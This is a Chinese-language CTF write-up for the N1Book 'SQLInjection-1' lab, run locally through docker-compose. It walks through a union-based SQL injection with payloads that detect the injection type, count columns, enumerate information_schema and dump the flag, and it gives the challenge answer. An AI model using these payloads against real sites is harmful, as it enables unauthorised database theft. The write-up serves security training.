SQLInjection-1
前言
先说一下大体上的流程吧,这是一个注入类的题目,行文安排大概是说一下思路,以及各种中间的过程,以及最后给出 flag
。
部署环境
这里使用的是 docker-compose
下面给出配置文件,直接保存运行即可。
配置文件
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
ports:
- 80:80
启动方式
docker-compose up -d
随后直接使用浏览器访问 localhost
即可。
思路 & 解题过程
判断注入类型
id=1 and 1=2 -- -
与id=1
界面相同,证明不是数字注入id=1' and 1=2 -- -
与id=1
界面不同,证明是字符注入
测试列数
id=1' union select 1,2,3 -- -
与id=1
界面相同id=1' union select 1,2,3,4 -- -
与id=1
界面不同- 也可用
id=1' order by 3 -- -
与id=1' order by 4 -- -
的差异判断有三列数据
获取库名
上面的列数和注入类型已经判断出来了,这里观察一下 1、2、3
三个数字是不是都有回显,然后确定语句的位置。最终发现。
获取库名 note
id=-1' union select 1,database(),3 -- -
获取表名
id=-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='note' -- -
最终获得表名:fl4g
和 notes
获取字段名
这里猜测最终的答案是在 fl4g
表中,所以先对这个表进行测试注入,不行的话再换另一个。
id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='fl4g' -- -
最终获得字段名:fllllag
flag
id=-1' union select 1,group_concat(fllllag),3 FROM fl4g -- -
最终得到 flag
是:`n1book{union_select_is_so_cool}`**
总结
总体而言,主要是判断出注入点的类型,其他的都是一些常规的操作。